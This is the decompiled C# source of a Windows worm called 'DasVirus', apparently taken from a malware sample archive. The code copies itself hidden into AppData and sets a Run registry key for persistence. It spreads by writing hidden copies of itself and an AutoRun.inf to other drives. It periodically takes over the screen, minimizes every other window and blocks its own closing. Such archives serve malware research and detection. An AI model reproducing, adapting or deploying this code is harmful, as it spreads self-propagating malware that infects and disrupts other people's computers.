MalwareSourceCode/MSIL/Worm/Win32/A/Worm.Win32.AutoRun.dfi-42e58a94d37b004c20933310233462c12ae3748211b12376559de6e22fc686c7/Form1.cs

// Decompiled with JetBrains decompiler
// Type: DasVirus.Form1
// Assembly: DasVirus, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 47CE34B1-9892-4F0C-B487-F6525F961DF9
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Worm.Win32.AutoRun.dfi-42e58a94d37b004c20933310233462c12ae3748211b12376559de6e22fc686c7.exe

using DasVirus.My;
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Windows.Forms;

namespace DasVirus
{
  [DesignerGenerated]
  public class Form1 : Form
  {
    private static List<WeakReference> __ENCList = new List<WeakReference>();
    private IContainer components;
    [AccessedThroughProperty("Timer1")]
    private Timer _Timer1;
    [AccessedThroughProperty("Timer2")]
    private Timer _Timer2;
    [AccessedThroughProperty("Timer3")]
    private Timer _Timer3;
    [AccessedThroughProperty("Timer4")]
    private Timer _Timer4;
    private Point lPoint;
    private Point nPoint;
    private Rectangle Scr;
    private Graphics Graph;
    private bool OpStatus;
    private int PID;
    private Pen MyPen;
    [SpecialName]
    private int \u0024STATIC\u0024Timer1_Tick\u002420211C1261\u0024Ticks;

    [DebuggerNonUserCode]
    static Form1()
    {
    }

    [DebuggerNonUserCode]
    public Form1()
    {
      this.FormClosing += new FormClosingEventHandler(this.Form1_FormClosing);
      this.KeyDown += new KeyEventHandler(this.Form1_KeyDown);
      this.Load += new EventHandler(this.Form1_Load);
      lock (Form1.__ENCList)
        Form1.__ENCList.Add(new WeakReference((object) this));
      this.InitializeComponent();
    }

    [STAThread]
    public static void Main() => Application.Run((Form) MyProject.Forms.Form1);

    [DebuggerNonUserCode]
    protected override void Dispose(bool disposing)
    {
      try
      {
        if (!disposing || this.components == null)
          return;
        this.components.Dispose();
      }
      finally
      {
        base.Dispose(disposing);
      }
    }

    [DebuggerStepThrough]
    private void InitializeComponent()
    {
      this.components = (IContainer) new System.ComponentModel.Container();
      this.Timer1 = new Timer(this.components);
      this.Timer2 = new Timer(this.components);
      this.Timer3 = new Timer(this.components);
      this.Timer4 = new Timer(this.components);
      this.SuspendLayout();
      this.Timer1.Interval = 50;
      this.Timer2.Interval = 2000;
      this.Timer3.Interval = 1000;
      this.Timer4.Interval = 15000;
      this.AutoScaleDimensions = new SizeF(6f, 13f);
      this.AutoScaleMode = AutoScaleMode.Font;
      this.ClientSize = new Size(292, 273);
      this.ControlBox = false;
      this.DoubleBuffered = true;
      this.FormBorderStyle = FormBorderStyle.FixedToolWindow;
      this.Name = nameof (Form1);
      this.Opacity = 0.0;
      this.ShowInTaskbar = false;
      this.Text = "DasVirus";
      this.TopMost = true;
      this.TransparencyKey = SystemColors.Control;
      this.ResumeLayout(false);
    }

    internal virtual Timer Timer1
    {
      [DebuggerNonUserCode] get => this._Timer1;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
      {
        EventHandler eventHandler = new EventHandler(this.Timer1_Tick);
        if (this._Timer1 != null)
          this._Timer1.Tick -= eventHandler;
        this._Timer1 = value;
        if (this._Timer1 == null)
          return;
        this._Timer1.Tick += eventHandler;
      }
    }

    internal virtual Timer Timer2
    {
      [DebuggerNonUserCode] get => this._Timer2;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
      {
        EventHandler eventHandler = new EventHandler(this.Timer2_Tick);
        if (this._Timer2 != null)
          this._Timer2.Tick -= eventHandler;
        this._Timer2 = value;
        if (this._Timer2 == null)
          return;
        this._Timer2.Tick += eventHandler;
      }
    }

    internal virtual Timer Timer3
    {
      [DebuggerNonUserCode] get => this._Timer3;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
      {
        EventHandler eventHandler = new EventHandler(this.Timer3_Tick);
        if (this._Timer3 != null)
          this._Timer3.Tick -= eventHandler;
        this._Timer3 = value;
        if (this._Timer3 == null)
          return;
        this._Timer3.Tick += eventHandler;
      }
    }

    internal virtual Timer Timer4
    {
      [DebuggerNonUserCode] get => this._Timer4;
      [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set
      {
        EventHandler eventHandler = new EventHandler(this.Timer4_Tick);
        if (this._Timer4 != null)
          this._Timer4.Tick -= eventHandler;
        this._Timer4 = value;
        if (this._Timer4 == null)
          return;
        this._Timer4.Tick += eventHandler;
      }
    }

    [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)]
    public static extern bool IsWindowVisible(IntPtr hWnd);

    [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)]
    public static extern bool ShowWindow(IntPtr hWnd, Form1.nCS_Commands nCmdShow);

    private void Form1_FormClosing(object sender, FormClosingEventArgs e)
    {
      if (!this.OpStatus)
        return;
      e.Cancel = true;
    }

    private void Form1_KeyDown(object sender, KeyEventArgs e)
    {
      e.SuppressKeyPress = true;
      if ((e.Modifiers & Keys.Control) == 0 || e.KeyCode != Keys.C)
        return;
      this.OpStatus = false;
      ProjectData.EndApp();
    }

    private void Form1_Load(object sender, EventArgs e)
    {
      string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
      if (Operators.CompareString(MyProject.Application.Info.DirectoryPath.ToLower(), folderPath.ToLower(), false) != 0)
      {
        Process.Start("explorer.exe", MyProject.Application.Info.DirectoryPath);
        if (Process.GetProcessesByName("dasvirus").Length > 1)
          ProjectData.EndApp();
        this.CopyMeHidden(folderPath + "\\DasVirus.exe");
        MyProject.Computer.Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true).SetValue("DasVirus Startup", (object) (folderPath + "\\DasVirus.exe"));
        Process.Start(folderPath + "\\DasVirus.exe");
        ProjectData.EndApp();
      }
      VBMath.Randomize();
      this.Timer3.Start();
      this.Timer4.Start();
    }

    public Point GenPoint()
    {
      Point point;
      point.X = checked ((int) Math.Round((double) unchecked (VBMath.Rnd() * (float) this.Scr.Width)));
      point.Y = checked ((int) Math.Round((double) unchecked (VBMath.Rnd() * (float) this.Scr.Height)));
      return point;
    }

    private void Timer3_Tick(object sender, EventArgs e)
    {
      if (!(MyProject.Computer.Clock.LocalTime.Second == 0 & MyProject.Computer.Clock.LocalTime.Minute % 15 == 0))
        return;
      this.InitZlovred();
    }

    public void InitZlovred()
    {
      this.Opacity = 1.0;
      this.Scr = Screen.PrimaryScreen.Bounds;
      this.SetBounds(-3, -13, checked (this.Scr.Width + 6), checked (this.Scr.Height + 25));
      this.Region = new Region(new Rectangle(3, 18, this.Scr.Width, this.Scr.Height));
      this.lPoint = this.GenPoint();
      this.Graph = this.CreateGraphics();
      this.OpStatus = false;
      this.PID = Process.GetCurrentProcess().Id;
      this.MyPen = Pens.Black;
      this.Timer1.Start();
      this.Timer2.Start();
    }

    private void Timer1_Tick(object sender, EventArgs e)
    {
      checked { ++this.\u0024STATIC\u0024Timer1_Tick\u002420211C1261\u0024Ticks; }
      if (this.\u0024STATIC\u0024Timer1_Tick\u002420211C1261\u0024Ticks > 100)
      {
        this.\u0024STATIC\u0024Timer1_Tick\u002420211C1261\u0024Ticks = 0;
        this.MyPen = new Pen(Color.FromArgb(checked ((int) Math.Round((double) unchecked (VBMath.Rnd() * (float) byte.MaxValue))), checked ((int) Math.Round((double) unchecked (VBMath.Rnd() * (float) byte.MaxValue))), checked ((int) Math.Round((double) unchecked (VBMath.Rnd() * (float) byte.MaxValue)))));
      }
      this.nPoint = this.GenPoint();
      this.Graph.DrawLine(this.MyPen, this.lPoint, this.nPoint);
      this.Graph.DrawString("DasVirus 1.0 beta 1 by HD", new Font("Verdana", 20f, FontStyle.Regular), Brushes.YellowGreen, 20f, 20f);
      this.lPoint = this.nPoint;
      Interaction.AppActivate(this.PID);
    }

    private void Timer2_Tick(object sender, EventArgs e)
    {
      Process[] processes = Process.GetProcesses();
      int num = checked (processes.Length - 1);
      int index = 0;
      while (index <= num)
      {
        if (processes[index].MainWindowHandle != this.Handle && Operators.CompareString(processes[index].ProcessName.ToLower(), "explorer", false) != 0 && Form1.IsWindowVisible(processes[index].MainWindowHandle))
          Form1.ShowWindow(processes[index].MainWindowHandle, Form1.nCS_Commands.SW_MINIMIZE);
        checked { ++index; }
      }
    }

    private void Timer4_Tick(object sender, EventArgs e)
    {
      DriveInfo[] drives = DriveInfo.GetDrives();
      int num = checked (drives.Length - 1);
      int index = 0;
      while (index <= num)
      {
        if (Strings.Asc(Strings.Left(drives[index].Name, 1)) > 66)
        {
          this.CopyMeHidden(drives[index].Name + "DasVirus.exe");
          try
          {
            File.SetAttributes(drives[index].Name + "AutoRun.inf", FileAttributes.Normal);
          }
          catch (Exception ex)
          {
            ProjectData.SetProjectError(ex);
            ProjectData.ClearProjectError();
          }
          try
          {
            StreamWriter streamWriter = new StreamWriter(drives[index].Name + "AutoRun.inf", false);
            streamWriter.Write("[AutoRun]\r\nShellExecute=DasVirus.exe");
            streamWriter.Flush();
            streamWriter.Close();
            streamWriter.Dispose();
            try
            {
              File.SetAttributes(drives[index].Name + "autorun.inf", FileAttributes.ReadOnly | FileAttributes.Hidden | FileAttributes.System);
            }
            catch (Exception ex)
            {
              ProjectData.SetProjectError(ex);
              ProjectData.ClearProjectError();
            }
          }
          catch (Exception ex)
          {
            ProjectData.SetProjectError(ex);
            ProjectData.ClearProjectError();
          }
        }
        checked { ++index; }
      }
    }

    public void CopyMeHidden(string DestPath)
    {
      try
      {
        File.SetAttributes(DestPath, FileAttributes.Normal);
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.ClearProjectError();
      }
      try
      {
        File.Copy(MyProject.Application.Info.DirectoryPath + "\\DasVirus.exe", DestPath, true);
        try
        {
          File.SetAttributes(DestPath, FileAttributes.ReadOnly | FileAttributes.Hidden | FileAttributes.System);
        }
        catch (Exception ex)
        {
          ProjectData.SetProjectError(ex);
          ProjectData.ClearProjectError();
        }
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.ClearProjectError();
      }
    }

    public enum nCS_Commands
    {
      SW_HIDE = 0,
      SW_NORMAL = 1,
      SW_SHOWNORMAL = 1,
      SW_SHOWMINIMIZED = 2,
      SW_MAXIMIZE = 3,
      SW_SHOWMAXIMIZED = 3,
      SW_SHOWNOACTIVATE = 4,
      SW_SHOW = 5,
      SW_MINIMIZE = 6,
      SW_SHOWMINNOACTIVE = 7,
      SW_SHOWNA = 8,
      SW_RESTORE = 9,
      SW_MAX = 10, // 0x0000000A
      SW_SHOWDEFAULT = 10, // 0x0000000A
    }
  }
}